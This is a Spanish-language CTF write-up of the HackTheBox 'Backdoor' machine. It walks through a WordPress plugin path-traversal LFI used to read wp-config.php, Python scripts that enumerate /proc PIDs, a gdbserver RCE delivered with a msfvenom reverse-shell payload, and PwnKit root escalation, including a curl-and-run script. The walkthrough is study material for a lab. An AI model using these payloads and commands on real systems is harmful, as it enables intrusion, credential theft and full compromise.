Máquina Linux nivel fácil. Locureo con un LFI, el objeto /proc y unos file descriptors bien lindos para enterarnos de cositas. Ah, y también armaremos el Kit del Pwn :O (?)

TL;DR (Spanish writeup)

Creada por: hkabubaker17.

Pueden ser 2 pasos, como pueda que sean 20, hay que pensar distinto.

Nos enfrentaremos a un servidor web gestionado por Wordpress, tendremos algunos plugins llamativos, uno de ellos permite la explotación de un Local File Inclusion, con esto podremos ver el contenido de algunos objetos del sistema (:

Peeero en primer medida de poco servirá, profundizaremos en como el directorio /proc, un PID y el objeto cmdline (/proc/<PID>/cmdline) nos puede mostrar muuucha info de los procesos internos, apoyados en el LFI y en fuerza bruta encontraremos que uno de los puertos externos esta siendo ejecutado por el programa gdbserver, ese mismo programa tiene una vulnerabilidad que permite ejecutar comandos remotamente, lo usaremos y finalmente conseguiremos una terminal como el usuario user en el sistema.

Encontraremos una vuln llamada PwnKit, ella permite un Local Privilege Escalation bastante sencillo, jugueteando obtendremos una bash en el sistema como el usuario root.

…

Clasificación de la máquina según la gentesita

Pooooco real, mucho fantaseo y cositas con las manos :D

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

…

El cirujano.

1. Reconocimiento.
   • Enumeración de puertos con nmap.
2. Enumeración.
   • Recorriendo el servidor web (puerto 80).
   • Encontramos LFI en plugin de Wordpress.
3. Explotación.
   • LFI 👀 RCE.
4. Escalada de privilegios.
   • Hacemos el Kit del Pwn.

…

Reconocimiento #

Enumeración de puertos con nmap 📌

Como siempre vamos a descubrir inicialmente que puertos tiene abiertos la máquina, esto para conocer contra que servicios debemos enfrentarnos después, usaremos nmap:

❱ nmap -p- --open -v 10.10.11.125 -oG initScan

Obtenemos:

# Nmap 7.80 scan initiated Wed Apr  6 25:25:25 2022 as: nmap -p- --open -v -oG initScan 10.10.11.125
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.125 (backdoor.htb) Status: Up
Host: 10.10.11.125 (backdoor.htb) Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 1337/open/tcp//waste///
# Nmap done at Wed Apr  6 25:25:25 2022 -- 1 IP address (1 host up) scanned in 258.99 seconds

Lo siguiente que podemos hacer con nmap es intentar descubrir que versión de software se esta corriendo en cada puerto y además permitirle a nmap probar sus scripts por default a ver si encuentra cositas interesantes:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno, en este caso son solo 3 puertos, pero en caso de ser muuuchos más es muy funcional

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.125
    [*] Open ports: 22,80,1337

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80,1337 -sC -sV 10.10.11.125 -oN portScan

Yyy:

# Nmap 7.80 scan initiated Wed Apr  6 25:25:25 2022 as: nmap -p 22,80,1337 -sC -sV -oN portScan 10.10.11.125
Nmap scan report for backdoor.htb (10.10.11.125)
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
|_https-redirect: ERROR: Script execution failed (use -d to debug)
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  6 25:25:25 2022 -- 1 IP address (1 host up) scanned in 27.02 seconds

Tenemos algunas cositas relevantes:

Por ahora no vemos nada relevante, así que empecemos a jugar con lo que tenemos…

Enumeración #

Vemos el servidor web (puerto 80) 📌

Tenemos una web bastante sencilla con una interfaz que (de máquinas anteriores) nos recuerda a Wordpress, podemos corroborarlo con la herramienta whatweb en nuestra terminal:

❱ whatweb http://10.10.11.125/
http://10.10.11.125/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[wordpress@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.125], JQuery[3.6.0], MetaGenerator[WordPress 5.8.1], PoweredBy[WordPress], Script, Title[Backdoor – Real-Life], UncommonHeaders[link], WordPress[5.8.1]

Efectivamente, Wordpress 5.8.1, antes de usar wpscan (herramienta brutal para enumerar CMS’s de Wordpress) damos una vuelta rápida por la web, únicamente encontramos un autor (por lo tanto, un usuario del sitio) llamado admin:

Esto nos sirve para algo en concreto, en los sitios wordpress existe una interfaz en la que se controla todo el “backend” del -sitio-, para llegar a él debemos pasar un login alojado en /wp-admin:

http://10.10.11.125/wp-admin -> nos redirige -> http://10.10.11.125/wp-login.php

Acá sabiendo que existe el autor admin podríamos primero probar algunas credenciales por default y segundo ver si el sitio nos indica si una contraseña es incorrecta (así podríamos jugar con brute-force para intentar descubrir la contraseña):

De las contraseñas por default no nos sirve ninguna, peeero la segunda prueba si esta activa:

Así que podríamos intentar hacer brute-force, por ahora tengámoslo en cuenta, sigamos enumerando.

Buscando vulnerabilidad es asociadas a la versión de Wordpress no logramos encontrar nada relevante… Algo interesante de este CMS son sus plugins, ya que estos también pueden ser vulnerables, lo que haría que toooodo el sitio de Wordpress fuera vulnerable, averigüemos que plugins existen (si es que existen).

Juguemos con wpscan:

❱ wpscan --url http://10.10.11.125 -e vp
# -e: enumerar
# vp: vulnerable plugins

Encontramos esto:

[i] No plugins Found.

[i] No Config Backups Found.

😅 Pos al parecer no hay, intentemos enumerar de forma manual en la ruta http://10.10.11.125/wp-content/plugins (siempre estarán ahí, pues para que lo sepan :P):

(Cara sorprendida)

Encontramos LFI en plugin 📌

Pues existen plugins que la herramienta automatizada no encontró (así que siempre, SIEMPRE, validar manualmente las cosas):

> ebook-download : "Allow user to download your ebook custom file when insert an email."
> hello dolly : "Muestra un verso aleatorio de una canción famosa de Louis Armstrong."

Si buscamos vulns para los dos, tenemos esta llamativa con ebook-download:

WordPress Plugin eBook Download 1.1 - Directory Traversal

“WordPress Plugin Zedna eBook download is prone to a directory traversal vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.” ~ acunetix

Existe un Local File Inclusion (LFI) en la versión 1.1 del plugin, si revisamos en la imagen anterior la carpeta ebook-download y el archivo readme.txt vemos:

Por lo que probablemente sea vulnerable (: Rápidamente:

“La Inclusión Local de Archivos, es una tecnica que permite descubrir archivos alojados en un servidor web, peeeeero el truco es que no solamente podemos ver los del servidor, la idea de la ‘inclusión’ es descubrir archivos de tooooooooooodo el sistema (:” ~ Yo

Explotación #

Pues probemos por ejemplo el propio POC del exploit, ver el objeto que usa Wordpress para configurar la conexión a la base de datos, wp-config:

/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Y nuestro ataque quedaría así:

http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php

Ejecutamos en la web la petición y nos da la opción de descargar el archivo, una vez descargado tenemos esto en su contenido:

OPA lA POPA, se confirma el LFI y que tenemos acceso al archivo y su contenidooooooooooo (: Además tenemos las credenciales que usa Wordpress para interactuar con la base de datos :P Intentando reutilización de contraseñas (quizás el administrador le daba pereza) no logramos pasar el login de WP ni jugar con SSH :’(

Nos armamos un script rapidongo para interactuar con el LFI:

eBookLFI.py

Viendo distintos objetos del sistema, como por ejemplo /etc/passwd para ver que usuarios del sistema tienen activa una terminal, notamos (mediante una expresión regular rápida, le decimos que filtre únicamente lo que termine con sh):

Dos usuarios user y root, pero lo mismo de antes, no logramos nada con ellos :P Sigamos buscando…

Nada de nada, pues busquemos en internet de que maneras podemos aprovechar un LFI ya sea para ejecutar comandos en el sistema o para descubrir cositas distintas a las normales.

• Exploiting PHP Based LFI.
• File Inclusion and Path Traversal.
• Tutorial - Local File Include (LFI)

Probando cositas y profundizando entre ellas tenemos relevancia al testear el método /proc/, el cual permite entre otras cosas exponer información relacionada con el kernel.

La magia de este directorio es que cada subdirectorio hace alusion a un proceso corriend en el sistema (los nombres de cada subdirectorio son los PID (Process ID)).

• Exploiting the LFI vulnerability using the /proc/self/stat method

Allí se profundiza en el directorio /proc/self, que self indica el PID que esta siendo ejecutado actualmente por el software o tarea.

LFI pa ver RCE - Fail 📌

Nosotros al tener un servidor web que esta siendo sostenido por Apache, lo más probable es que el proceso actual (self) este relacionado con Apache, podemos validarlo simplemente viendo el contenido del archivo /proc/self/stat (claramente gracias al LFI):

❱ python3 eBookLFI.py /proc/self/stat

99522 (apache2) R 885 885 885 0 -1 4194624 398 0 0 0 0 0 0 0 20 0 1 0 1790450 199208960 3225 18446744073709551615 93962707890176 93962708427505 140728012378768 0 0 0 0 16781312 201346799 0 0 0 17 1 0 0 0 0 0 93962708574320 93962708600656 93962711207936 140728012385908 140728012385935 140728012385935 140728012386278 0

Efectivamente, el PID actual (855) es el del proceso que esta corriendo Apache (:

Pero claro, ¿de qué nos sirve esto y como podemos explotarlo? La idea inicial es que al identificar el proceso (PID) relacionado con Apache (o al servidor web), ahora debemos buscar un descriptor de archivo (básicamente ayuda a identificar archivos abiertos dentro de procesos) relacionado con los logs del servicio web, en este caso un Apache Log File, lo que se lograría con esto es que podríamos ejecutar comandos remotamente mediante el User-Agent de la petición jugando con el objeto de los logs y el LFI, para entender bien lo que dije :P les dejo este post con su ejemplo.

Para encontrar el fd asociado a los logs debemos tomar el PID del proceso Apache y fuzzear sobre el directorio /proc/<PID>/fd/<FD>, por lo que podemos armarnos un script suuuuper sencillo que nos ayude:

import requests

url_site = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php"
pid="885"

for fd in range(0,16):  # Podemos poner un rango cualquiera

    #                               /proc/885/fd/0
    payload = f"?ebookdownloadurl=/proc/{pid}/fd/{fd}"

    r = requests.get(url_site + payload)
    print(payload + " ----> " + str(len(r.text)))

Lo único que hacemos es descubrir entre 0 y 15 a ver si existe algún file descriptor con ese nombre, viendo el tamaño y comparando el de las demás respuestas lo sabremos, ejecutemos esa vaina:

❱ python3 bruteforce_pid.py 
?ebookdownloadurl=/proc/885/fd/0 ----> 73
?ebookdownloadurl=/proc/885/fd/1 ----> 73
?ebookdownloadurl=/proc/885/fd/2 ----> 73
?ebookdownloadurl=/proc/885/fd/3 ----> 73
?ebookdownloadurl=/proc/885/fd/4 ----> 73
?ebookdownloadurl=/proc/885/fd/5 ----> 73
?ebookdownloadurl=/proc/885/fd/6 ----> 73
?ebookdownloadurl=/proc/885/fd/7 ----> 73
?ebookdownloadurl=/proc/885/fd/8 ----> 73
?ebookdownloadurl=/proc/885/fd/9 ----> 73
?ebookdownloadurl=/proc/885/fd/10 ----> 76
?ebookdownloadurl=/proc/885/fd/11 ----> 76
?ebookdownloadurl=/proc/885/fd/12 ----> 76
?ebookdownloadurl=/proc/885/fd/13 ----> 76
?ebookdownloadurl=/proc/885/fd/14 ----> 76
?ebookdownloadurl=/proc/885/fd/15 ----> 76

Nada, no encontramos ningún fd o algún cambio rotundo en la respuesta del servidor… Jugando con el bucle y su rango tampoco logramos nada, así que no queda de otra que seguir buscando en internet…

LFI pa ver el RCE 📌

Caemos en este apartado de un post ya citado:

• The proc File System - Useful /proc/<PID> entries

Ahí nos hablan de varios objetos que pueden llegar a exponer información de los procesos en ejecución:

/proc/[PID]/cmdline - Process invocation command with parameters.
-> It potentially exposes paths, usernames and passwords.

/proc/[PID]/environ - Environment variables.
-> It potentially exposes paths, usernames and passwords.

/proc/[PID]/cwd - Process current working directory.

/proc/[PID]/fd/[#] - File descriptors.
-> Contains one entry for each file which the process has open.

El último ya lo probamos, intentemos ver que sale con los otros 3:

❱ python3 eBookLFI.py /proc/self/cmdline

/usr/sbin/apache2
-k
start

❱ python3 eBookLFI.py /proc/885/cmdline

/usr/sbin/apache2
-k
start

UY, el objeto cmdline nos da información detallada del programa que ejecuta el proceso :o (los otros 2 no nos dieron respuesta)

“Lists everything that was used to invoke the process. This sometimes contains useful paths to configuration files as well as usernames and passwords.” ~ netspi.com

Uf uuf ufff, pues pongámonos de inquietos e intentemos ver si existen más procesos (o sea, buscar otros PIDs) y veamos si alguno de ellos nos expone algún programa o cosita interesante (recordemos que hay que probar de todo :P):

import requests

# proc/{fd}/cmdline: [1, 482, 510, 523, 654, 655, 656, 657, 658, 659, 660, 675, 679, 705, 711, 748, 749, 750, 751, 756, 759, 760, 761, 762, 766, 767, 768, 769, 770, 774, 809, 819, 820, 834, 835, 839, 864, 876, 898, 901, 902, 925, 927, 947, 951, 954]

url_site = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php"

fd_found = []
for pid in range(0,16):
    payload = f"?ebookdownloadurl=/proc/{pid}/cmdline"

    r = requests.get(url_site + payload)
    print(payload + " ----> " + str(len(r.text)))

    # Tomamos un valor que sabemos ninguna respuesta en blanco tiene
    #   (Obtenido despues de probar:
    #    con un digito en el PID el tamaño de la respuesta es de 76
    #    con dos es de 79
    #    con tres es de 82
    #    con cuatro es de 85
    #    y así...)

    # Así que si es mayor o igual a 100 puede tener contenido interesante y lo guardamos
    if len(r.text) >= 100:
        fd_found.append(pid)

print("\nArray de PIDs llamativos: " + str(fd_found))

Obtenemooooooooooooooos:

❱ python3 bruteforce_pid.py
...
Array de PIDs llamativos: [1, 485, 511, 527, 656, 657, 658, 659, 660, 661, 662, 684, 685, 689, 707, 748, 749, 750, 752, 753, 754, 759, 760, 762, 766, 775, 776, 785, 786, 787, 821, 827, 828, 853, 854, 856, 885, 886, 888, 916, 918, 920, 921]

Uuuuuuh, pues pongámonos a descubrir cuál es el “contenido llamativo” de esos PIDs:

import requests

url_site = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php"
pids = [1, 485, 511, 527, 656, 657, 658, 659, 660, 661, 662, 684, 685, 689, 707, 748, 749, 750, 752, 753, 754, 759, 760, 762, 766, 775, 776, 785, 786, 787, 821, 827, 828, 853, 854, 856, 885, 886, 888, 916, 918, 920, 921]

for pid in pids:
    payload = f"?ebookdownloadurl=/proc/{pid}/cmdline"

    r = requests.get(url_site + payload)
    print("\n" + r.text)

Abriendo bien los ojitos notamos algo LLAMATIVO:

su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;

Upa, ese puerto nosotros lo tenemos en nuestro reconocimientoooooooowowowowow… Ahora sabemos que esta siendo ejecutado (servido) por el programa gdbserver, que podemos hacer????? Efectiiiivamente, buscar info con respecto a ese programa y quizás, solo quizás encontremos alguna vuln (:

“gdbserver es un programa informático que permite depurar otros programas de forma remota y local.” ~ Wikipedia

Sip, el programa que empleamos para jugar con binarios y hacer reversing o pwn (: Buscando gdbserver exploit tenemos:

• GNU gdbserver 9.2 - Remote Command Execution (RCE).

Nos encontramos un exploit bastante actual y realizado por el master de masters 7Rocky (a darle su buen respect), para lograr la explotación se envía un shellcode al servidor que gracias a sus falencias será ejecutado, así que descarguémoslo y veamos si nos sirve contra la máquina :D

Como bien nos indica 7Rocky en la descripción del programa, lo primero que necesitamos es generar un objeto que contenga las instrucciones a ejecutar, por ejemplo una reverse shell, para esto aprovecharemos la herramienta msfvenom:

❱ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4463 PrependFork=true -o rev.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Saved as: rev.bin

“PrependFork=true -> Start the payload in its own process via fork or popen” (sin este argumento obtenemos la petición, pero la terminal se muere instantaneamente) ~ infosecmatter.com

Y ya tendríamos el archivo rev.bin (nuestro shellcode), el cual indica que cuando se ejecute envíe una terminal de linux hacia el puerto 4463 de la ip 10.10.14.19 (levantemos ese puerto):

❱ nc -lvp 4463
listening on [any] 4463 ...

Y listos, ejecutemos esta vaina:

❱ python3 gdbserver_exploit.py 10.10.11.125:1337 rev.bin

Pueda que fallé varias veces, solo hay que ser perseverantes yyyyyyyyyyyyewruiqjkl:

CONSEGUIR EJECUTAR COMANDOOOOOOOOOOOS REMOTAMENTEEEE! (: Gracias 7Rocky :*

Hagamos linda y funcional la terminal:

• Tener histórico de comandos, movezón en la terminal y ejecutar tranquilamente CTRL+C.

Ahora veamos como escalar o movernos de usuario :P

Escalada de privilegios #

Estando dentro y enumerando cositas manualmente no vemos nada así suuuper relevante, únicamente esta tarea cron (automatizada) junto a una que ya habíamos visto:

user@Backdoor:~$ ps auxwww
...
root         843  0.0  0.0   2608  1660 ?        Ss   16:46   0:00 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root         844  0.0  0.0   2608  1760 ?        Ss   16:46   0:00 /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
...

Con la que finalmente no llegamos a ningún lado :P solo a conocer este post.

Apoyados en herramientas como LinEnum.sh o linpeas.sh (para enumerar el sistema e identificar posibles cositas inquietantes) tenemos una bien interesante: linux-exploit-suggester, ella busca exploits o CVEs relacionados con el kernel y software del sistema que probablemente hagan la máquina vulnerable :P

Descargamos el archivo y jugamos:

user@Backdoor:/tmp$ mkdir test; cd test  # entorno de trabajo

Levantamos servidor web donde tenemos el archivo linux-exploit-suggester.sh:

Recordemos que esto se hace ya que las máquinas de HackTheBox no tienen acceso a internet, ahí como dato :*

❱ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y lo subimos:

user@Backdoor:/tmp/test$ curl http://10.10.14.19:8000/linux-exploit-suggester.sh -o liexsu.sh
user@Backdoor:/tmp/test$ ls 
liexsu.sh
# Le damos permisos de ejecución:
user@Backdoor:/tmp/test$ chmod +x liexsu.sh

Ejecutamos:

user@Backdoor:/tmp/test$ ./liexsu.sh

Encuentra estos posibles exploits:

Pos vayamos uno a uno testeando si logramos algo con ellos (:

Hacemos el Kit del Pwn 📌

Buscando en la web nos instruimos:

La vulnerabilidad “permite a un usuario sin privilegios obtener root de manera fácil e inmediata aprovechando una vulnerabilidad de escalada de privilegios local en la utilidad pkexec de polkit” (antes conocido como PolicyKit) ~ unaaldia.hispasec.com

Pero, ¿qué es eso de polkit o PolicyKit?, también nos lo explican:

“Componente encargado de controlar y gestionar los privilegios de todo el sistema, organizando como «intermediario» para que los procesos no privilegiados se comuniquen con los procesos privilegiados.” ~ unaaldia.hispasec.com

Uhhhh, muy prometedorrrr… En él post publicado por las personas que encontraron la vuln (o este) tenemos más info y el paso a paso de como la hallaron:

Les dejo otro post para profundizar: PwnKit ~ welivesecirity.

En internet tenemos varias pruebas de concepto (POC), nos quedamos con esta:

• https://github.com/ly4k/PwnKit

Nos clonamos el repositorio en nuestro sistema:

❱ git clone https://github.com/ly4k/PwnKit.git
❱ cd PwnKit/

❱ ls -lago
total 32
drwxr-xr-x 1    94 abr 20 03:29 .
drwxr-xr-x 1    92 abr 20 03:29 ..
drwxr-xr-x 1   138 abr 20 03:29 .git
drwxr-xr-x 1    68 abr 20 03:29 imgs
-rw-r--r-- 1  1068 abr 20 03:29 LICENSE
-rwxr-xr-x 1 14688 abr 20 03:29 PwnKit
-rw-r--r-- 1  3032 abr 20 03:29 PwnKit.c
-rw-r--r-- 1   150 abr 20 03:29 PwnKit.sh
-rw-r--r-- 1   969 abr 20 03:29 README.md

Peeeerfecto, varios objetos, resaltemos algunos:

* PwnKit: Ejecutable que hace la explotación.
* PwnKit.c: Acá esta el código fuente del ejecutable anterior.
  (o sea, toda la logica para lograr la explotación)
* PwnKit.sh: Es como el automatizador de la ejecución.
  (pero no es necesario, ya veremos porque)

Este es el contenido del .sh (el que automatizaría toooodo):

❱ cat PwnKit.sh 
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit || exit
chmod +x ./PwnKit || exit
(sleep 1 && rm ./PwnKit & )
./PwnKit

Donde básicamente descarga el ejecutable (PwnKit), le da permisos de ejecución y lo ejecuta :/ Pos hagamos eso manualmente y raaaaaapidamente:

Subimos el objeto PwnKit (ya debes saber como) a la máquina víctima, le damos permisos de ejecución (también sabes) y ejecutémoslo:

user@Backdoor:/tmp/test$ ls -la PwnKit 
-rwxrwxr-x 1 user user 14688 Apr 20 17:45 PwnKit

Yyyyyyyyyyyyyyyyyyyyyyyyyyyy:

user@Backdoor:/tmp/test$ ./PwnKit

Y así, con un parpadeo SOMOS root!!!!!!!!!

Mi máquina tambien era vulnerable :P Una solución temporal es deshabilitar el SUID del objeto pkexec: chmod 0755 /usr/bin/pkexec

Visualicemos las flags:

…

Una máquina que me asesinó en la parte del LFI, pues no había profundizado antes taaanto en cuanto a opciones, me gusto bastante ese apartado (: La escalada fue muuuy sencilla, pero pues así es la explotación de esa vulnerabilidad en la vida real, así que me gusta.

Bueno bueno bueeeeno, nos leeremos en otra ocasssiaaaooo, duerman bien, descansen, pero ojo, NO OLVIDAR! A seguir rompiendo de todoooooo! Besitos <3